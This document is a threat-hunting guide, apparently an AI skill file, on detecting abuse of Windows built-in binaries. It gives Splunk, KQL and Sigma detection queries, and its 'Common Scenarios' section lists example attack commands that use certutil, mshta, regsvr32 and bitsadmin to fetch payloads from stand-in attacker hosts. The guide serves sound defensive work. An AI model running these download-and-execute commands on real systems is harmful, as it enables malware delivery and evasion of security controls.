Hunting for LOLBins Execution in Endpoint Logs
When to Use
- When hunting for fileless attack techniques that abuse built-in Windows binaries
- After threat intelligence indicates LOLBin-based campaigns targeting your industry
- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32
- During purple team exercises testing detection of defense evasion techniques
- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques
Prerequisites
- Sysmon Event ID 1 (Process Creation) with full command-line logging
- Windows Security Event ID 4688 with command-line auditing enabled
- EDR telemetry with parent-child process relationships
- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)
- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns
Workflow
- Build LOLBin Watchlist: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.
- Baseline Normal Usage: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.
- Hunt for Anomalous Arguments: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with
-urlcache -decode -encode, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with /s /n /u /i:URL.
- Analyze Parent-Child Relationships: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.
- Check Execution from Unusual Paths: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.
- Correlate with Network Activity: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.
- Score and Prioritize: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.
Key Concepts
| Concept |
Description |
| T1218 |
System Binary Proxy Execution |
| T1218.001 |
Compiled HTML File (mshta.exe) |
| T1218.003 |
CMSTP |
| T1218.005 |
Mshta |
| T1218.010 |
Regsvr32 (Squiblydoo) |
| T1218.011 |
Rundll32 |
| T1127.001 |
MSBuild |
| T1197 |
BITS Jobs (bitsadmin.exe) |
| T1140 |
Deobfuscate/Decode Files (certutil.exe) |
| T1059.001 |
PowerShell |
| T1059.005 |
Visual Basic (wscript/cscript) |
| LOLBAS |
Living Off the Land Binaries, Scripts and Libraries project |
Tools & Systems
| Tool |
Purpose |
| Sysmon |
Process creation with command-line and hash logging |
| CrowdStrike Falcon |
EDR with LOLBin detection analytics |
| Microsoft Defender for Endpoint |
Built-in LOLBin abuse detection |
| Splunk |
SPL-based process hunting and anomaly detection |
| Elastic Security |
Pre-built LOLBin detection rules |
| LOLBAS Project |
Reference database of LOLBin abuse techniques |
| Sigma Rules |
Community detection rules for LOLBin abuse |
Detection Queries
Splunk -- High-Risk LOLBin Execution
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious
KQL -- Microsoft Sentinel LOLBin Hunting
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
"msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Sigma Rule -- Suspicious LOLBin Command Line
title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
- '-encode'
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http://'
- 'https://'
- 'javascript:'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains|all:
- '/s'
- '/i:'
condition: 1 of selection_*
level: high
tags:
- attack.defense_evasion
- attack.t1218
Common Scenarios
- Certutil Download Cradle:
certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe used to download malware bypassing proxy filters.
- Mshta HTA Execution:
mshta.exe http://attacker.com/malicious.hta executing remote HTA files containing VBScript or JScript payloads.
- Regsvr32 Squiblydoo:
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll executing remote SCT files to bypass application whitelisting.
- Rundll32 DLL Proxy:
rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint executing attacker DLLs via legitimate binary.
- MSBuild Inline Task:
msbuild.exe C:\Temp\malicious.csproj executing C# code embedded in project files to bypass application control.
- BITS Transfer:
bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe using BITS service for stealthy file download.
- WMIC XSL Execution:
wmic process list /format:evil.xsl executing JScript/VBScript from XSL stylesheets.
Output Format
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]
1---2name: hunting-for-lolbins-execution-in-endpoint-logs3description: Hunts for LOLBins (Living Off the Land Binaries) abuse4version: '1.0'5author: mahipal (vendored by SOCIS)6license: Apache-2.07platforms:8- linux9- macos10- windows11category: security12metadata:13 source: https://skillmd.com/skills/socisio/hunting-for-lolbins-execution-in-endpoint-logs14 socis:15 tags:16 - threat-hunting17 - lolbins18 - living-off-the-land19 - endpoint-detection20 - process-monitoring21 - mitre-t121822 - defense-evasion23 subdomain: threat-hunting24 upstream: mukul975/Anthropic-Cybersecurity-Skills25 nist_csf:26 - DE.CM-0127 - DE.AE-0228 - DE.AE-0729 - ID.RA-0530 d3fend_techniques:31 - Executable Denylisting32 - Execution Isolation33 - File Metadata Consistency Validation34 - Application Protocol Command Analysis35 - Content Format Conversion36 mitre_attack:37 - T104638 - T105739 - T108240 - T108341 - T102742---434445# Hunting for LOLBins Execution in Endpoint Logs4647## When to Use4849- When hunting for fileless attack techniques that abuse built-in Windows binaries50- After threat intelligence indicates LOLBin-based campaigns targeting your industry51- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr3252- During purple team exercises testing detection of defense evasion techniques53- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques5455## Prerequisites5657- Sysmon Event ID 1 (Process Creation) with full command-line logging58- Windows Security Event ID 4688 with command-line auditing enabled59- EDR telemetry with parent-child process relationships60- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)61- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns6263## Workflow64651. **Build LOLBin Watchlist**: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.662. **Baseline Normal Usage**: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.673. **Hunt for Anomalous Arguments**: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with `-urlcache -decode -encode`, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with `/s /n /u /i:URL`.684. **Analyze Parent-Child Relationships**: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.695. **Check Execution from Unusual Paths**: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.706. **Correlate with Network Activity**: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.717. **Score and Prioritize**: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.7273## Key Concepts7475| Concept | Description |76|---------|-------------|77| T1218 | System Binary Proxy Execution |78| T1218.001 | Compiled HTML File (mshta.exe) |79| T1218.003 | CMSTP |80| T1218.005 | Mshta |81| T1218.010 | Regsvr32 (Squiblydoo) |82| T1218.011 | Rundll32 |83| T1127.001 | MSBuild |84| T1197 | BITS Jobs (bitsadmin.exe) |85| T1140 | Deobfuscate/Decode Files (certutil.exe) |86| T1059.001 | PowerShell |87| T1059.005 | Visual Basic (wscript/cscript) |88| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |8990## Tools & Systems9192| Tool | Purpose |93|------|---------|94| Sysmon | Process creation with command-line and hash logging |95| CrowdStrike Falcon | EDR with LOLBin detection analytics |96| Microsoft Defender for Endpoint | Built-in LOLBin abuse detection |97| Splunk | SPL-based process hunting and anomaly detection |98| Elastic Security | Pre-built LOLBin detection rules |99| LOLBAS Project | Reference database of LOLBin abuse techniques |100| Sigma Rules | Community detection rules for LOLBin abuse |101102## Detection Queries103104### Splunk -- High-Risk LOLBin Execution105```spl106index=sysmon EventCode=1107| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")108| eval suspicious=case(109 match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",110 match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",111 match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",112 match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",113 match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",114 match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",115 match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",116 1=1, "normal"117)118| where suspicious!="normal"119| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious120```121122### KQL -- Microsoft Sentinel LOLBin Hunting123```kql124DeviceProcessEvents125| where Timestamp > ago(7d)126| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",127 "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")128| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"129| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,130 InitiatingProcessFileName, InitiatingProcessCommandLine131| sort by Timestamp desc132```133134### Sigma Rule -- Suspicious LOLBin Command Line135```yaml136title: Suspicious LOLBin Execution with Malicious Arguments137status: experimental138logsource:139 category: process_creation140 product: windows141detection:142 selection_certutil:143 Image|endswith: '\certutil.exe'144 CommandLine|contains:145 - '-urlcache'146 - '-decode'147 - '-encode'148 selection_mshta:149 Image|endswith: '\mshta.exe'150 CommandLine|contains:151 - 'http://'152 - 'https://'153 - 'javascript:'154 selection_regsvr32:155 Image|endswith: '\regsvr32.exe'156 CommandLine|contains|all:157 - '/s'158 - '/i:'159 condition: 1 of selection_*160level: high161tags:162 - attack.defense_evasion163 - attack.t1218164```165166## Common Scenarios1671681. **Certutil Download Cradle**: `certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe` used to download malware bypassing proxy filters.1692. **Mshta HTA Execution**: `mshta.exe http://attacker.com/malicious.hta` executing remote HTA files containing VBScript or JScript payloads.1703. **Regsvr32 Squiblydoo**: `regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll` executing remote SCT files to bypass application whitelisting.1714. **Rundll32 DLL Proxy**: `rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint` executing attacker DLLs via legitimate binary.1725. **MSBuild Inline Task**: `msbuild.exe C:\Temp\malicious.csproj` executing C# code embedded in project files to bypass application control.1736. **BITS Transfer**: `bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe` using BITS service for stealthy file download.1747. **WMIC XSL Execution**: `wmic process list /format:evil.xsl` executing JScript/VBScript from XSL stylesheets.175176## Output Format177178```179Hunt ID: TH-LOLBIN-[DATE]-[SEQ]180Host: [Hostname]181User: [Account context]182LOLBin: [Binary name]183Full Path: [Execution path]184Command Line: [Full arguments]185Parent Process: [Parent image and command line]186Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]187Network Activity: [Yes/No -- destination if applicable]188Risk Level: [Critical/High/Medium/Low]189```